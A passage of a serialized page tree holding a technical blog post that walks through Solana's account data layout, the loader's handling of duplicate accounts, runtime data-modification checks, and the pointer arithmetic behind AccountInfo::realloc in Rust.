Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[20567],{"type":24,"tag":80,"props":20568,"children":20569},{"__ignoreMap":7},[20570,20587,20667,20699,20706,20753,20798,20806,20830],{"type":24,"tag":147,"props":20571,"children":20572},{"class":149,"line":150},[20573,20578,20582],{"type":24,"tag":147,"props":20574,"children":20575},{"style":235},[20576],{"type":29,"value":20577},"#[allow(clippy",{"type":24,"tag":147,"props":20579,"children":20580},{"style":241},[20581],{"type":29,"value":9106},{"type":24,"tag":147,"props":20583,"children":20584},{"style":235},[20585],{"type":29,"value":20586},"cast_ptr_alignment)]\n",{"type":24,"tag":147,"props":20588,"children":20589},{"class":149,"line":160},[20590,20594,20599,20603,20607,20611,20615,20619,20623,20627,20631,20635,20639,20643,20647,20651,20655,20659,20663],{"type":24,"tag":147,"props":20591,"children":20592},{"style":218},[20593],{"type":29,"value":17406},{"type":24,"tag":147,"props":20595,"children":20596},{"style":247},[20597],{"type":29,"value":20598}," data_len",{"type":24,"tag":147,"props":20600,"children":20601},{"style":241},[20602],{"type":29,"value":651},{"type":24,"tag":147,"props":20604,"children":20605},{"style":241},[20606],{"type":29,"value":1263},{"type":24,"tag":147,"props":20608,"children":20609},{"style":235},[20610],{"type":29,"value":480},{"type":24,"tag":147,"props":20612,"children":20613},{"style":247},[20614],{"type":29,"value":13992},{"type":24,"tag":147,"props":20616,"children":20617},{"style":241},[20618],{"type":29,"value":87},{"type":24,"tag":147,"props":20620,"children":20621},{"style":229},[20622],{"type":29,"value":15259},{"type":24,"tag":147,"props":20624,"children":20625},{"style":235},[20626],{"type":29,"value":480},{"type":24,"tag":147,"props":20628,"children":20629},{"style":247},[20630],{"type":29,"value":729},{"type":24,"tag":147,"props":20632,"children":20633},{"style":235},[20634],{"type":29,"value":564},{"type":24,"tag":147,"props":20636,"children":20637},{"style":218},[20638],{"type":29,"value":14467},{"type":24,"tag":147,"props":20640,"children":20641},{"style":241},[20642],{"type":29,"value":1263},{"type":24,"tag":147,"props":20644,"children":20645},{"style":218},[20646],{"type":29,"value":15276},{"type":24,"tag":147,"props":20648,"children":20649},{"style":9044},[20650],{"type":29,"value":11484},{"type":24,"tag":147,"props":20652,"children":20653},{"style":235},[20654],{"type":29,"value":564},{"type":24,"tag":147,"props":20656,"children":20657},{"style":218},[20658],{"type":29,"value":14467},{"type":24,"tag":147,"props":20660,"children":20661},{"style":9044},[20662],{"type":29,"value":19348},{"type":24,"tag":147,"props":20664,"children":20665},{"style":235},[20666],{"type":29,"value":432},{"type":24,"tag":147,"props":20668,"children":20669},{"class":149,"line":169},[20670,20674,20678,20683,20687,20691,20695],{"type":24,"tag":147,"props":20671,"children":20672},{"style":247},[20673],{"type":29,"value":729},{"type":24,"tag":147,"props":20675,"children":20676},{"style":241},[20677],{"type":29,"value":1895},{"type":24,"tag":147,"props":20679,"children":20680},{"style":229},[20681],{"type":29,"value":20682}," size_of",{"type":24,"tag":147,"props":20684,"children":20685},{"style":241},[20686],{"type":29,"value":9106},{"type":24,"tag":147,"props":20688,"children":20689},{"style":235},[20690],{"type":29,"value":3583},{"type":24,"tag":147,"props":20692,"children":20693},{"style":9044},[20694],{"type":29,"value":13668},{"type":24,"tag":147,"props":20696,"children":20697},{"style":235},[20698],{"type":29,"value":14077},{"type":24,"tag":147,"props":20700,"children":20701},{"class":149,"line":178},[20702],{"type":24,"tag":147,"props":20703,"children":20704},{"emptyLinePlaceholder":16},[20705],{"type":29,"value":314},{"type":24,"tag":147,"props":20707,"children":20708},{"class":149,"line":187},[20709,20713,20717,20721,20726,20730,20735,20740,20744,20748],{"type":24,"tag":147,"props":20710,"children":20711},{"style":218},[20712],{"type":29,"value":17406},{"type":24,"tag":147,"props":20714,"children":20715},{"style":247},[20716],{"type":29,"value":1103},{"type":24,"tag":147,"props":20718,"children":20719},{"style":241},[20720],{"type":29,"value":651},{"type":24,"tag":147,"props":20722,"children":20723},{"style":9044},[20724],{"type":29,"value":20725}," Rc",{"type":24,"tag":147,"props":20727,"children":20728},{"style":241},[20729],{"type":29,"value":9106},{"type":24,"tag":147,"props":20731,"children":20732},{"style":229},[20733],{"type":29,"value":20734},"new",{"type":24,"tag":147,"props":20736,"children":20737},{"style":235},[20738],{"type":29,"value":20739},"(RefCell",{"type":24,"tag":147,"props":20741,"children":20742},{"style":241},[20743],{"type":29,"value":9106},{"type":24,"tag":147,"props":20745,"children":20746},{"style":229},[20747],{"type":29,"value":20734},{"type":24,"tag":147,"props":20749,"children":20750},{"style":235},[20751],{"type":29,"value":20752},"({\n",{"type":24,"tag":147,"props":20754,"children":20755},{"class":149,"line":196},[20756,20761,20765,20769,20773,20777,20781,20785,20790,20794],{"type":24,"tag":147,"props":20757,"children":20758},{"style":229},[20759],{"type":29,"value":20760},"    from_raw_parts_mut",{"type":24,"tag":147,"props":20762,"children":20763},{"style":235},[20764],{"type":29,"value":480},{"type":24,"tag":147,"props":20766,"children":20767},{"style":247},[20768],{"type":29,"value":13992},{"type":24,"tag":147,"props":20770,"children":20771},{"style":241},[20772],{"type":29,"value":87},{"type":24,"tag":147,"props":20774,"children":20775},{"style":229},[20776],{"type":29,"value":15259},{"type":24,"tag":147,"props":20778,"children":20779},{"style":235},[20780],{"type":29,"value":480},{"type":24,"tag":147,"props":20782,"children":20783},{"style":247},[20784],{"type":29,"value":729},{"type":24,"tag":147,"props":20786,"children":20787},{"style":235},[20788],{"type":29,"value":20789},"), ",{"type":24,"tag":147,"props":20791,"children":20792},{"style":247},[20793],{"type":29,"value":19422},{"type":24,"tag":147,"props":20795,"children":20796},{"style":235},[20797],{"type":29,"value":269},{"type":24,"tag":147,"props":20799,"children":20800},{"class":149,"line":205},[20801],{"type":24,"tag":147,"props":20802,"children":20803},{"style":235},[20804],{"type":29,"value":20805},"}));\n",{"type":24,"tag":147,"props":20807,"children":20808},{"class":149,"line":214},[20809,20813,20817,20821,20825],{"type":24,"tag":147,"props":20810,"children":20811},{"style":247},[20812],{"type":29,"value":729},{"type":24,"tag":147,"props":20814,"children":20815},{"style":241},[20816],{"type":29,"value":1895},{"type":24,"tag":147,"props":20818,"children":20819},{"style":247},[20820],{"type":29,"value":20598},{"type":24,"tag":147,"props":20822,"children":20823},{"style":241},[20824],{"type":29,"value":1734},{"type":24,"tag":147,"props":20826,"children":20827},{"style":235},[20828],{"type":29,"value":20829}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":24,"tag":147,"props":20831,"children":20832},{"class":149,"line":272},[20833,20837,20841,20845,20849,20853,20857,20861,20865,20869,20873,20878,20883],{"type":24,"tag":147,"props":20834,"children":20835},{"style":247},[20836],{"type":29,"value":729},{"type":24,"tag":147,"props":20838,"children":20839},{"style":241},[20840],{"type":29,"value":1895},{"type":24,"tag":147,"props":20842,"children":20843},{"style":235},[20844],{"type":29,"value":408},{"type":24,"tag":147,"props":20846,"children":20847},{"style":247},[20848],{"type":29,"value":729},{"type":24,"tag":147,"props":20850,"children":20851},{"style":218},[20852],{"type":29,"value":14453},{"type":24,"tag":147,"props":20854,"children":20855},{"style":241},[20856],{"type":29,"value":1263},{"type":24,"tag":147,"props":20858,"children":20859},{"style":218},[20860],{"type":29,"value":15276},{"type":24,"tag":147,"props":20862,"children":20863},{"style":9044},[20864],{"type":29,"value":20248},{"type":24,"tag":147,"props":20866,"children":20867},{"style":235},[20868],{"type":29,"value":8758},{"type":24,"tag":147,"props":20870,"children":20871},{"style":241},[20872],{"type":29,"value":87},{"type":24,"tag":147,"props":20874,"children":20875},{"style":229},[20876],{"type":29,"value":20877},"align_offset",{"type":24,"tag":147,"props":20879,"children":20880},{"style":235},[20881],{"type":29,"value":20882},"(BPF_ALIGN_OF_U128); ",{"type":24,"tag":147,"props":20884,"children":20885},{"style":154},[20886],{"type":29,"value":20887},"// padding\n",{"type":24,"tag":25,"props":20889,"children":20890},{},[20891,20893,20898,20900,20906,20908,20919,20921,20926,20928,20934,20936,20942,20944,20950],{"type":29,"value":20892},"In English, we have the length of the data, as a ",{"type":24,"tag":80,"props":20894,"children":20896},{"className":20895},[],[20897],{"type":29,"value":13668},{"type":29,"value":20899},", followed immediately by the data, and an additional ",{"type":24,"tag":80,"props":20901,"children":20903},{"className":20902},[],[20904],{"type":29,"value":20905},"MAX_PERMITTED_DATA_INCREASE",{"type":29,"value":20907}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":24,"tag":2773,"props":20909,"children":20912},{"href":20910,"rel":20911},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[2777],[20913],{"type":24,"tag":80,"props":20914,"children":20916},{"className":20915},[],[20917],{"type":29,"value":20918},"slice::from_raw_parts_mut",{"type":29,"value":20920},") - slices are how Rust represents a, well, ",{"type":24,"tag":8545,"props":20922,"children":20923},{},[20924],{"type":29,"value":20925},"slice",{"type":29,"value":20927}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":24,"tag":80,"props":20929,"children":20931},{"className":20930},[],[20932],{"type":29,"value":20933},"Rc\u003CRefCell\u003CT>>",{"type":29,"value":20935},", giving us the unwieldy-looking type of ",{"type":24,"tag":80,"props":20937,"children":20939},{"className":20938},[],[20940],{"type":29,"value":20941},"AccountInfo.data",{"type":29,"value":20943},": ",{"type":24,"tag":80,"props":20945,"children":20947},{"className":20946},[],[20948],{"type":29,"value":20949},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":29,"value":87},{"type":24,"tag":25,"props":20952,"children":20953},{},[20954,20956,20963],{"type":29,"value":20955},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":24,"tag":2773,"props":20957,"children":20960},{"href":20958,"rel":20959},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[2777],[20961],{"type":29,"value":20962},"cloning the referenced account",{"type":29,"value":978},{"type":24,"tag":137,"props":20965,"children":20967},{"className":8614,"code":20966,"language":8613,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[20968],{"type":24,"tag":80,"props":20969,"children":20970},{"__ignoreMap":7},[20971,20979],{"type":24,"tag":147,"props":20972,"children":20973},{"class":149,"line":150},[20974],{"type":24,"tag":147,"props":20975,"children":20976},{"style":154},[20977],{"type":29,"value":20978},"// Duplicate account, clone the original\n",{"type":24,"tag":147,"props":20980,"children":20981},{"class":149,"line":160},[20982,20986,20990,20994,20998,21002,21006,21011,21015,21019,21024,21028,21033],{"type":24,"tag":147,"props":20983,"children":20984},{"style":247},[20985],{"type":29,"value":20289},{"type":24,"tag":147,"props":20987,"children":20988},{"style":241},[20989],{"type":29,"value":87},{"type":24,"tag":147,"props":20991,"children":20992},{"style":229},[20993],{"type":29,"value":9437},{"type":24,"tag":147,"props":20995,"children":20996},{"style":235},[20997],{"type":29,"value":480},{"type":24,"tag":147,"props":20999,"children":21000},{"style":247},[21001],{"type":29,"value":20289},{"type":24,"tag":147,"props":21003,"children":21004},{"style":235},[21005],{"type":29,"value":9358},{"type":24,"tag":147,"props":21007,"children":21008},{"style":247},[21009],{"type":29,"value":21010},"dup_info",{"type":24,"tag":147,"props":21012,"children":21013},{"style":218},[21014],{"type":29,"value":14453},{"type":24,"tag":147,"props":21016,"children":21017},{"style":9044},[21018],{"type":29,"value":19348},{"type":24,"tag":147,"props":21020,"children":21021},{"style":235},[21022],{"type":29,"value":21023},"]",{"type":24,"tag":147,"props":21025,"children":21026},{"style":241},[21027],{"type":29,"value":87},{"type":24,"tag":147,"props":21029,"children":21030},{"style":229},[21031],{"type":29,"value":21032},"clone",{"type":24,"tag":147,"props":21034,"children":21035},{"style":235},[21036],{"type":29,"value":21037},"());\n",{"type":24,"tag":25,"props":21039,"children":21040},{},[21041,21043,21048,21050,21055,21056,21061,21063,21068,21069,21075,21077,21082,21084,21096,21098,21103],{"type":29,"value":21042},"Since ",{"type":24,"tag":80,"props":21044,"children":21046},{"className":21045},[],[21047],{"type":29,"value":1139},{"type":29,"value":21049}," inside the ",{"type":24,"tag":80,"props":21051,"children":21053},{"className":21052},[],[21054],{"type":29,"value":20552},{"type":29,"value":6365},{"type":24,"tag":80,"props":21057,"children":21059},{"className":21058},[],[21060],{"type":29,"value":20933},{"type":29,"value":21062},", where the ",{"type":24,"tag":80,"props":21064,"children":21066},{"className":21065},[],[21067],{"type":29,"value":11612},{"type":29,"value":6365},{"type":24,"tag":80,"props":21070,"children":21072},{"className":21071},[],[21073],{"type":29,"value":21074},"&mut [u8]",{"type":29,"value":21076}," pointing at the actual data buffer, when we clone the ",{"type":24,"tag":80,"props":21078,"children":21080},{"className":21079},[],[21081],{"type":29,"value":20552},{"type":29,"value":21083},", we get a new reference",{"type":24,"tag":21085,"props":21086,"children":21087},"sup",{},[21088],{"type":24,"tag":2773,"props":21089,"children":21094},{"href":21090,"ariaDescribedBy":21091,"dataFootnoteRef":7,"id":21093},"#user-content-fn-rc-refs",[21092],"footnote-label","user-content-fnref-rc-refs",[21095],{"type":29,"value":1154},{"type":29,"value":21097}," to the slice pointing at the ",{"type":24,"tag":8545,"props":21099,"children":21100},{},[21101],{"type":29,"value":21102},"same",{"type":29,"value":21104}," data buffer.",{"type":24,"tag":25,"props":21106,"children":21107},{},[21108,21110,21116,21118,21124],{"type":29,"value":21109},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":24,"tag":80,"props":21111,"children":21113},{"className":21112},[],[21114],{"type":29,"value":21115},"RefCell",{"type":29,"value":21117}," to check the rules at runtime. (The ",{"type":24,"tag":80,"props":21119,"children":21121},{"className":21120},[],[21122],{"type":29,"value":21123},"lamports",{"type":29,"value":21125}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":24,"tag":25,"props":21127,"children":21128},{},[21129,21131,21137],{"type":29,"value":21130},"Changing the data of an account is done by simply writing to ",{"type":24,"tag":80,"props":21132,"children":21134},{"className":21133},[],[21135],{"type":29,"value":21136},"AccountInfo::data",{"type":29,"value":21138},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":24,"tag":25,"props":21140,"children":21141},{},[21142,21144,21151],{"type":29,"value":21143},"This is also where the ",{"type":24,"tag":2773,"props":21145,"children":21148},{"href":21146,"rel":21147},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[2777],[21149],{"type":29,"value":21150},"runtime validity checks",{"type":29,"value":21152}," are imposed.",{"type":24,"tag":137,"props":21154,"children":21156},{"className":8614,"code":21155,"language":8613,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[21157],{"type":24,"tag":80,"props":21158,"children":21159},{"__ignoreMap":7},[21160,21168,21176,21184,21226,21244,21273,21317,21324,21348,21382,21406,21438,21453,21485,21492],{"type":24,"tag":147,"props":21161,"children":21162},{"class":149,"line":150},[21163],{"type":24,"tag":147,"props":21164,"children":21165},{"style":154},[21166],{"type":29,"value":21167},"// Only the owner may change account data\n",{"type":24,"tag":147,"props":21169,"children":21170},{"class":149,"line":160},[21171],{"type":24,"tag":147,"props":21172,"children":21173},{"style":154},[21174],{"type":29,"value":21175},"//   and if the account is writable\n",{"type":24,"tag":147,"props":21177,"children":21178},{"class":149,"line":169},[21179],{"type":24,"tag":147,"props":21180,"children":21181},{"style":154},[21182],{"type":29,"value":21183},"//   and if the account is not executable\n",{"type":24,"tag":147,"props":21185,"children":21186},{"class":149,"line":178},[21187,21192,21196,21200,21204,21208,21213,21217,21222],{"type":24,"tag":147,"props":21188,"children":21189},{"style":321},[21190],{"type":29,"value":21191},"if",{"type":24,"tag":147,"props":21193,"children":21194},{"style":241},[21195],{"type":29,"value":3598},{"type":24,"tag":147,"props":21197,"children":21198},{"style":235},[21199],{"type":29,"value":480},{"type":24,"tag":147,"props":21201,"children":21202},{"style":247},[21203],{"type":29,"value":20280},{"type":24,"tag":147,"props":21205,"children":21206},{"style":241},[21207],{"type":29,"value":8911},{"type":24,"tag":147,"props":21209,"children":21210},{"style":247},[21211],{"type":29,"value":21212}," pre",{"type":24,"tag":147,"props":21214,"children":21215},{"style":241},[21216],{"type":29,"value":87},{"type":24,"tag":147,"props":21218,"children":21219},{"style":229},[21220],{"type":29,"value":21221},"owner",{"type":24,"tag":147,"props":21223,"children":21224},{"style":235},[21225],{"type":29,"value":13361},{"type":24,"tag":147,"props":21227,"children":21228},{"class":149,"line":187},[21229,21234,21239],{"type":24,"tag":147,"props":21230,"children":21231},{"style":241},[21232],{"type":29,"value":21233},"    &&",{"type":24,"tag":147,"props":21235,"children":21236},{"style":247},[21237],{"type":29,"value":21238}," is_writable",{"type":24,"tag":147,"props":21240,"children":21241},{"style":154},[21242],{"type":29,"value":21243},"  // line coverage used to get branch coverage\n",{"type":24,"tag":147,"props":21245,"children":21246},{"class":149,"line":196},[21247,21251,21255,21259,21263,21268],{"type":24,"tag":147,"props":21248,"children":21249},{"style":241},[21250],{"type":29,"value":21233},{"type":24,"tag":147,"props":21252,"children":21253},{"style":241},[21254],{"type":29,"value":3598},{"type":24,"tag":147,"props":21256,"children":21257},{"style":247},[21258],{"type":29,"value":137},{"type":24,"tag":147,"props":21260,"children":21261},{"style":241},[21262],{"type":29,"value":87},{"type":24,"tag":147,"props":21264,"children":21265},{"style":229},[21266],{"type":29,"value":21267},"executable",{"type":24,"tag":147,"props":21269,"children":21270},{"style":235},[21271],{"type":29,"value":21272},"())\n",{"type":24,"tag":147,"props":21274,"children":21275},{"class":149,"line":205},[21276,21280,21284,21288,21292,21296,21300,21305,21309,21313],{"type":24,"tag":147,"props":21277,"children":21278},{"style":241},[21279],{"type":29,"value":21233},{"type":24,"tag":147,"props":21281,"children":21282},{"style":247},[21283],{"type":29,"value":21212},{"type":24,"tag":147,"props":21285,"children":21286},{"style":241},[21287],{"type":29,"value":87},{"type":24,"tag":147,"props":21289,"children":21290},{"style":229},[21291],{"type":29,"value":1139},{"type":24,"tag":147,"props":21293,"children":21294},{"style":235},[21295],{"type":29,"value":19658},{"type":24,"tag":147,"props":21297,"children":21298},{"style":241},[21299],{"type":29,"value":4279},{"type":24,"tag":147,"props":21301,"children":21302},{"style":247},[21303],{"type":29,"value":21304}," post",{"type":24,"tag":147,"props":21306,"children":21307},{"style":241},[21308],{"type":29,"value":87},{"type":24,"tag":147,"props":21310,"children":21311},{"style":229},[21312],{"type":29,"value":1139},{"type":24,"tag":147,"props":21314,"children":21315},{"style":235},[21316],{"type":29,"value":13361},{"type":24,"tag":147,"props":21318,"children":21319},{"class":149,"line":214},[21320],{"type":24,"tag":147,"props":21321,"children":21322},{"style":235},[21323],{"type":29,"value":278},{"type":24,"tag":147,"props":21325,"children":21326},{"class":149,"line":272},[21327,21331,21335,21339,21343],{"type":24,"tag":147,"props":21328,"children":21329},{"style":321},[21330],{"type":29,"value":4759},{"type":24,"tag":147,"props":21332,"children":21333},{"style":247},[21334],{"type":29,"value":21212},{"type":24,"tag":147,"props":21336,"children":21337},{"style":241},[21338],{"type":29,"value":87},{"type":24,"tag":147,"props":21340,"children":21341},{"style":229},[21342],{"type":29,"value":21267},{"type":24,"tag":147,"props":21344,"children":21345},{"style":235},[21346],{"type":29,"value":21347},"() {\n",{"type":24,"tag":147,"props":21349,"children":21350},{"class":149,"line":281},[21351,21355,21360,21364,21369,21373,21378],{"type":24,"tag":147,"props":21352,"children":21353},{"style":321},[21354],{"type":29,"value":7020},{"type":24,"tag":147,"props":21356,"children":21357},{"style":9044},[21358],{"type":29,"value":21359}," Err",{"type":24,"tag":147,"props":21361,"children":21362},{"style":235},[21363],{"type":29,"value":480},{"type":24,"tag":147,"props":21365,"children":21366},{"style":9044},[21367],{"type":29,"value":21368},"InstructionError",{"type":24,"tag":147,"props":21370,"children":21371},{"style":241},[21372],{"type":29,"value":9106},{"type":24,"tag":147,"props":21374,"children":21375},{"style":9044},[21376],{"type":29,"value":21377},"ExecutableDataModified",{"type":24,"tag":147,"props":21379,"children":21380},{"style":235},[21381],{"type":29,"value":1473},{"type":24,"tag":147,"props":21383,"children":21384},{"class":149,"line":299},[21385,21389,21393,21398,21402],{"type":24,"tag":147,"props":21386,"children":21387},{"style":235},[21388],{"type":29,"value":6620},{"type":24,"tag":147,"props":21390,"children":21391},{"style":321},[21392],{"type":29,"value":6625},{"type":24,"tag":147,"props":21394,"children":21395},{"style":321},[21396],{"type":29,"value":21397}," if",{"type":24,"tag":147,"props":21399,"children":21400},{"style":247},[21401],{"type":29,"value":21238},{"type":24,"tag":147,"props":21403,"children":21404},{"style":235},[21405],{"type":29,"value":6630},{"type":24,"tag":147,"props":21407,"children":21408},{"class":149,"line":308},[21409,21413,21417,21421,21425,21429,21434],{"type":24,"tag":147,"props":21410,"children":21411},{"style":321},[21412],{"type":29,"value":7020},{"type":24,"tag":147,"props":21414,"children":21415},{"style":9044},[21416],{"type":29,"value":21359},{"type":24,"tag":147,"props":21418,"children":21419},{"style":235},[21420],{"type":29,"value":480},{"type":24,"tag":147,"props":21422,"children":21423},{"style":9044},[21424],{"type":29,"value":21368},{"type":24,"tag":147,"props":21426,"children":21427},{"style":241},[21428],{"type":29,"value":9106},{"type":24,"tag":147,"props":21430,"children":21431},{"style":9044},[21432],{"type":29,"value":21433},"ExternalAccountDataModified",{"type":24,"tag":147,"props":21435,"children":21436},{"style":235},[21437],{"type":29,"value":1473},{"type":24,"tag":147,"props":21439,"children":21440},{"class":149,"line":317},[21441,21445,21449],{"type":24,"tag":147,"props":21442,"children":21443},{"style":235},[21444],{"type":29,"value":6620},{"type":24,"tag":147,"props":21446,"children":21447},{"style":321},[21448],{"type":29,"value":6625},{"type":24,"tag":147,"props":21450,"children":21451},{"style":235},[21452],{"type":29,"value":6630},{"type":24,"tag":147,"props":21454,"children":21455},{"class":149,"line":332},[21456,21460,21464,21468,21472,21476,21481],{"type":24,"tag":147,"props":21457,"children":21458},{"style":321},[21459],{"type":29,"value":7020},{"type":24,"tag":147,"props":21461,"children":21462},{"style":9044},[21463],{"type":29,"value":21359},{"type":24,"tag":147,"props":21465,"children":21466},{"style":235},[21467],{"type":29,"value":480},{"type":24,"tag":147,"props":21469,"children":21470},{"style":9044},[21471],{"type":29,"value":21368},{"type":24,"tag":147,"props":21473,"children":21474},{"style":241},[21475],{"type":29,"value":9106},{"type":24,"tag":147,"props":21477,"children":21478},{"style":9044},[21479],{"type":29,"value":21480},"ReadonlyDataModified",{"type":24,"tag":147,"props":21482,"children":21483},{"style":235},[21484],{"type":29,"value":1473},{"type":24,"tag":147,"props":21486,"children":21487},{"class":149,"line":350},[21488],{"type":24,"tag":147,"props":21489,"children":21490},{"style":235},[21491],{"type":29,"value":1952},{"type":24,"tag":147,"props":21493,"children":21494},{"class":149,"line":358},[21495],{"type":24,"tag":147,"props":21496,"children":21497},{"style":235},[21498],{"type":29,"value":827},{"type":24,"tag":43,"props":21500,"children":21502},{"id":21501},"back-to-realloc",[21503,21505],{"type":29,"value":21504},"Back to ",{"type":24,"tag":80,"props":21506,"children":21508},{"className":21507},[],[21509],{"type":29,"value":19255},{"type":24,"tag":25,"props":21511,"children":21512},{},[21513],{"type":29,"value":21514},"As a reminder, this is what we were looking at before that detour:",{"type":24,"tag":137,"props":21516,"children":21517},{"className":8614,"code":20005,"language":8613,"meta":7,"style":7},[21518],{"type":24,"tag":80,"props":21519,"children":21520},{"__ignoreMap":7},[21521,21528,21615],{"type":24,"tag":147,"props":21522,"children":21523},{"class":149,"line":150},[21524],{"type":24,"tag":147,"props":21525,"children":21526},{"style":154},[21527],{"type":29,"value":20017},{"type":24,"tag":147,"props":21529,"children":21530},{"class":149,"line":160},[21531,21535,21539,21543,21547,21551,21555,21559,21563,21567,21571,21575,21579,21583,21587,21591,21595,21599,21603,21607,21611],{"type":24,"tag":147,"props":21532,"children":21533},{"style":218},[21534],{"type":29,"value":17406},{"type":24,"tag":147,"props":21536,"children":21537},{"style":247},[21538],{"type":29,"value":19473},{"type":24,"tag":147,"props":21540,"children":21541},{"style":241},[21542],{"type":29,"value":651},{"type":24,"tag":147,"props":21544,"children":21545},{"style":218},[21546],{"type":29,"value":19413},{"type":24,"tag":147,"props":21548,"children":21549},{"style":241},[21550],{"type":29,"value":87},{"type":24,"tag":147,"props":21552,"children":21553},{"style":229},[21554],{"type":29,"value":19490},{"type":24,"tag":147,"props":21556,"children":21557},{"style":235},[21558],{"type":29,"value":19495},{"type":24,"tag":147,"props":21560,"children":21561},{"style":241},[21562],{"type":29,"value":8763},{"type":24,"tag":147,"props":21564,"children":21565},{"style":229},[21566],{"type":29,"value":19504},{"type":24,"tag":147,"props":21568,"children":21569},{"style":235},[21570],{"type":29,"value":19495},{"type":24,"tag":147,"props":21572,"children":21573},{"style":241},[21574],{"type":29,"value":87},{"type":24,"tag":147,"props":21576,"children":21577},{"style":229},[21578],{"type":29,"value":729},{"type":24,"tag":147,"props":21580,"children":21581},{"style":235},[21582],{"type":29,"value":480},{"type":24,"tag":147,"props":21584,"children":21585},{"style":241},[21586],{"type":29,"value":3470},{"type":24,"tag":147,"props":21588,"children":21589},{"style":705},[21590],{"type":29,"value":9700},{"type":24,"tag":147,"props":21592,"children":21593},{"style":235},[21594],{"type":29,"value":564},{"type":24,"tag":147,"props":21596,"children":21597},{"style":218},[21598],{"type":29,"value":14467},{"type":24,"tag":147,"props":21600,"children":21601},{"style":241},[21602],{"type":29,"value":1263},{"type":24,"tag":147,"props":21604,"children":21605},{"style":218},[21606],{"type":29,"value":9348},{"type":24,"tag":147,"props":21608,"children":21609},{"style":9044},[21610],{"type":29,"value":11484},{"type":24,"tag":147,"props":21612,"children":21613},{"style":235},[21614],{"type":29,"value":432},{"type":24,"tag":147,"props":21616,"children":21617},{"class":149,"line":169},[21618,21622,21626,21630,21634,21638,21642],{"type":24,"tag":147,"props":21619,"children":21620},{"style":241},[21621],{"type":29,"value":244},{"type":24,"tag":147,"props":21623,"children":21624},{"style":247},[21625],{"type":29,"value":19564},{"type":24,"tag":147,"props":21627,"children":21628},{"style":241},[21629],{"type":29,"value":651},{"type":24,"tag":147,"props":21631,"children":21632},{"style":247},[21633],{"type":29,"value":19573},{"type":24,"tag":147,"props":21635,"children":21636},{"style":218},[21637],{"type":29,"value":14453},{"type":24,"tag":147,"props":21639,"children":21640},{"style":9044},[21641],{"type":29,"value":11484},{"type":24,"tag":147,"props":21643,"children":21644},{"style":235},[21645],{"type":29,"value":432},{"type":24,"tag":25,"props":21647,"children":21648},{},[21649,21654,21656,21661,21662,21667,21669,21680,21682,21687,21689,21694],{"type":24,"tag":80,"props":21650,"children":21652},{"className":21651},[],[21653],{"type":29,"value":19490},{"type":29,"value":21655}," gives us the ",{"type":24,"tag":80,"props":21657,"children":21659},{"className":21658},[],[21660],{"type":29,"value":21074},{"type":29,"value":8268},{"type":24,"tag":80,"props":21663,"children":21665},{"className":21664},[],[21666],{"type":29,"value":20949},{"type":29,"value":21668},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":24,"tag":2773,"props":21670,"children":21673},{"href":21671,"rel":21672},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[2777],[21674],{"type":24,"tag":80,"props":21675,"children":21677},{"className":21676},[],[21678],{"type":29,"value":21679},"slice::as_mut_ptr()",{"type":29,"value":21681}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":24,"tag":80,"props":21683,"children":21685},{"className":21684},[],[21686],{"type":29,"value":13668},{"type":29,"value":21688}," - behind the data buffer), and then writes ",{"type":24,"tag":80,"props":21690,"children":21692},{"className":21691},[],[21693],{"type":29,"value":19339},{"type":29,"value":21695}," to it.",{"type":24,"tag":25,"props":21697,"children":21698},{},[21699,21701,21713,21715,21721],{"type":29,"value":21700},"This is reasonable... ",{"type":24,"tag":8545,"props":21702,"children":21703},{},[21704,21706,21711],{"type":29,"value":21705},"as long as the ",{"type":24,"tag":80,"props":21707,"children":21709},{"className":21708},[],[21710],{"type":29,"value":1139},{"type":29,"value":21712}," actually came from the serialized buffer",{"type":29,"value":21714},". We'll come back to this ",{"type":24,"tag":2773,"props":21716,"children":21718},{"href":21717},"#Not-contracts",[21719],{"type":29,"value":21720},"later",{"type":29,"value":87},{"type":24,"tag":25,"props":21723,"children":21724},{},[21725,21727,21732],{"type":29,"value":21726},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":24,"tag":80,"props":21728,"children":21730},{"className":21729},[],[21731],{"type":29,"value":21074},{"type":29,"value":21733}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":24,"tag":137,"props":21735,"children":21737},{"className":8614,"code":21736,"language":8613,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as 